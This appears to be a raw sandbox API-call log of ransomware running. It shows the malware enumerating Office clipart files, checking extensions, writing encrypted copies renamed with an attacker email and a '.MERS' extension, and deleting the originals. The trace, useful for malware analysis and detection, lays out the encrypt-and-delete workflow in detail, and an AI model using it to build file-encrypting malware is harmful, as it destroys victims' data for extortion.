lstrlenW (lpString=".rar") returned 4 [0268.146] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0268.146] lstrlenW (lpString=".bz2") returned 4 [0268.146] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0268.146] lstrlenW (lpString=".7z") returned 3 [0268.146] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0268.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0268.146] lstrlenW (lpString=".dbf") returned 4 [0268.146] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0268.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0268.146] lstrlenW (lpString=".1cd") returned 4 [0268.146] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0268.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0268.146] lstrlenW (lpString=".jpg") returned 4 [0268.146] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0268.146] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0268.146] lstrlenW (lpString="AN00015_.WMF") returned 12 [0268.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0268.146] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2e6ff1c | out: lpFileSize=0x2e6ff1c*=4734) returned 1 [0268.146] CloseHandle (hObject=0x39c) returned 1 [0268.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf")) returned 0x20 [0268.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0268.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0268.147] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0268.147] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0268.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0268.147] GetLastError () returned 0x0 [0268.147] ReadFile (in: hFile=0x39c, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x127e, lpOverlapped=0x0) returned 1 [0268.211] WriteFile (in: hFile=0x3c4, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0x1280, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0x1280, lpOverlapped=0x0) returned 1 [0268.212] ReadFile (in: hFile=0x39c, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x0, lpOverlapped=0x0) returned 1 [0268.212] WriteFile (in: hFile=0x3c4, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0268.212] SetEndOfFile (hFile=0x3c4) returned 1 [0268.212] CloseHandle (hObject=0x3c4) returned 1 [0268.212] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0268.212] SetEndOfFile (hFile=0x39c) returned 1 [0268.214] CloseHandle (hObject=0x39c) returned 1 [0268.214] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0268.216] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf")) returned 1 [0268.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0268.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0268.217] lstrlenW (lpString=".doc") returned 4 [0268.217] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.217] lstrlenW (lpString=".docx") returned 5 [0268.217] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.217] lstrlenW (lpString=".pdf") returned 4 [0268.217] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.217] lstrlenW (lpString=".xls") returned 4 [0268.217] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.217] lstrlenW (lpString=".xlsx") returned 5 [0268.217] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.217] lstrlenW (lpString=".ppt") returned 4 [0268.217] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0268.217] lstrlenW (lpString=".zip") returned 4 [0268.217] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.217] lstrlenW (lpString=".rar") returned 4 [0268.217] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.217] lstrlenW (lpString=".bz2") returned 4 [0268.217] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.217] lstrlenW (lpString=".7z") returned 3 [0268.217] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0268.217] lstrlenW (lpString=".dbf") returned 4 [0268.217] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0268.217] lstrlenW (lpString=".1cd") returned 4 [0268.217] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0268.217] lstrlenW (lpString=".jpg") returned 4 [0268.218] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0268.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0268.218] lstrlenW (lpString=".doc") returned 4 [0268.218] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.218] lstrlenW (lpString=".docx") returned 5 [0268.218] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.218] lstrlenW (lpString=".pdf") returned 4 [0268.218] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.218] lstrlenW (lpString=".xls") returned 4 [0268.218] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.218] lstrlenW (lpString=".xlsx") returned 5 [0268.218] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.218] lstrlenW (lpString=".ppt") returned 4 [0268.218] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0268.218] lstrlenW (lpString=".zip") returned 4 [0268.218] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.218] lstrlenW (lpString=".rar") returned 4 [0268.218] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.218] lstrlenW (lpString=".bz2") returned 4 [0268.218] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.218] lstrlenW (lpString=".7z") returned 3 [0268.218] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0268.218] lstrlenW (lpString=".dbf") returned 4 [0268.218] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0268.218] lstrlenW (lpString=".1cd") returned 4 [0268.218] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0268.218] lstrlenW (lpString=".jpg") returned 4 [0268.218] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.219] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0268.219] lstrlenW (lpString="AN00914_.WMF") returned 12 [0268.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0268.222] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2e6ff1c | out: lpFileSize=0x2e6ff1c*=10832) returned 1 [0268.222] CloseHandle (hObject=0x3d0) returned 1 [0268.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf")) returned 0x20 [0268.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0268.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0268.222] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0268.222] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0268.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0268.223] GetLastError () returned 0x0 [0268.223] ReadFile (in: hFile=0x3d0, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x2a50, lpOverlapped=0x0) returned 1 [0268.333] WriteFile (in: hFile=0x3d4, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0x2a60, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0x2a60, lpOverlapped=0x0) returned 1 [0268.334] ReadFile (in: hFile=0x3d0, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x0, lpOverlapped=0x0) returned 1 [0268.334] WriteFile (in: hFile=0x3d4, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0268.334] SetEndOfFile (hFile=0x3d4) returned 1 [0268.334] CloseHandle (hObject=0x3d4) returned 1 [0268.334] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0268.334] SetEndOfFile (hFile=0x3d0) returned 1 [0268.336] CloseHandle (hObject=0x3d0) returned 1 [0268.336] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0268.336] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf")) returned 1 [0268.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0268.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0268.337] lstrlenW (lpString=".doc") returned 4 [0268.337] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.337] lstrlenW (lpString=".docx") returned 5 [0268.337] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.337] lstrlenW (lpString=".pdf") returned 4 [0268.337] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.337] lstrlenW (lpString=".xls") returned 4 [0268.337] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.337] lstrlenW (lpString=".xlsx") returned 5 [0268.337] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.337] lstrlenW (lpString=".ppt") returned 4 [0268.337] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0268.337] lstrlenW (lpString=".zip") returned 4 [0268.337] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.337] lstrlenW (lpString=".rar") returned 4 [0268.337] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.337] lstrlenW (lpString=".bz2") returned 4 [0268.337] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.337] lstrlenW (lpString=".7z") returned 3 [0268.337] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0268.337] lstrlenW (lpString=".dbf") returned 4 [0268.337] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0268.337] lstrlenW (lpString=".1cd") returned 4 [0268.337] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0268.337] lstrlenW (lpString=".jpg") returned 4 [0268.337] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0268.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0268.337] lstrlenW (lpString=".doc") returned 4 [0268.338] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.338] lstrlenW (lpString=".docx") returned 5 [0268.338] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.338] lstrlenW (lpString=".pdf") returned 4 [0268.338] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.338] lstrlenW (lpString=".xls") returned 4 [0268.338] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.338] lstrlenW (lpString=".xlsx") returned 5 [0268.338] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.338] lstrlenW (lpString=".ppt") returned 4 [0268.338] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0268.338] lstrlenW (lpString=".zip") returned 4 [0268.338] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.338] lstrlenW (lpString=".rar") returned 4 [0268.338] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.338] lstrlenW (lpString=".bz2") returned 4 [0268.338] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.338] lstrlenW (lpString=".7z") returned 3 [0268.338] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0268.338] lstrlenW (lpString=".dbf") returned 4 [0268.338] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0268.338] lstrlenW (lpString=".1cd") returned 4 [0268.338] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0268.338] lstrlenW (lpString=".jpg") returned 4 [0268.338] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.338] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0268.339] lstrlenW (lpString="AN00965_.WMF") returned 12 [0268.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0268.339] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2e6ff1c | out: lpFileSize=0x2e6ff1c*=7072) returned 1 [0268.339] CloseHandle (hObject=0x3d0) returned 1 [0268.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf")) returned 0x20 [0268.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0268.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0268.355] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0268.355] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0268.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0268.356] GetLastError () returned 0x0 [0268.357] ReadFile (in: hFile=0x3d0, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x1ba0, lpOverlapped=0x0) returned 1 [0268.482] WriteFile (in: hFile=0x3e0, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0x1bb0, lpOverlapped=0x0) returned 1 [0268.482] ReadFile (in: hFile=0x3d0, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x0, lpOverlapped=0x0) returned 1 [0268.482] WriteFile (in: hFile=0x3e0, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0268.482] SetEndOfFile (hFile=0x3e0) returned 1 [0268.482] CloseHandle (hObject=0x3e0) returned 1 [0268.482] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0268.482] SetEndOfFile (hFile=0x3d0) returned 1 [0268.485] CloseHandle (hObject=0x3d0) returned 1 [0268.485] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0268.498] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf")) returned 1 [0268.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0268.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0268.518] lstrlenW (lpString=".doc") returned 4 [0268.518] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.518] lstrlenW (lpString=".docx") returned 5 [0268.518] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.518] lstrlenW (lpString=".pdf") returned 4 [0268.518] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.518] lstrlenW (lpString=".xls") returned 4 [0268.518] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.518] lstrlenW (lpString=".xlsx") returned 5 [0268.518] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.518] lstrlenW (lpString=".ppt") returned 4 [0268.518] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0268.518] lstrlenW (lpString=".zip") returned 4 [0268.518] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.518] lstrlenW (lpString=".rar") returned 4 [0268.518] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.518] lstrlenW (lpString=".bz2") returned 4 [0268.518] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.518] lstrlenW (lpString=".7z") returned 3 [0268.518] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0268.518] lstrlenW (lpString=".dbf") returned 4 [0268.518] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0268.519] lstrlenW (lpString=".1cd") returned 4 [0268.519] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0268.519] lstrlenW (lpString=".jpg") returned 4 [0268.519] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0268.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0268.519] lstrlenW (lpString=".doc") returned 4 [0268.519] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.519] lstrlenW (lpString=".docx") returned 5 [0268.519] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0268.519] lstrlenW (lpString=".pdf") returned 4 [0268.519] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.519] lstrlenW (lpString=".xls") returned 4 [0268.519] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.519] lstrlenW (lpString=".xlsx") returned 5 [0268.519] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0268.519] lstrlenW (lpString=".ppt") returned 4 [0268.519] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0268.519] lstrlenW (lpString=".zip") returned 4 [0268.519] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.519] lstrlenW (lpString=".rar") returned 4 [0268.519] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.519] lstrlenW (lpString=".bz2") returned 4 [0268.519] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.519] lstrlenW (lpString=".7z") returned 3 [0268.519] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0268.519] lstrlenW (lpString=".dbf") returned 4 [0268.519] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") 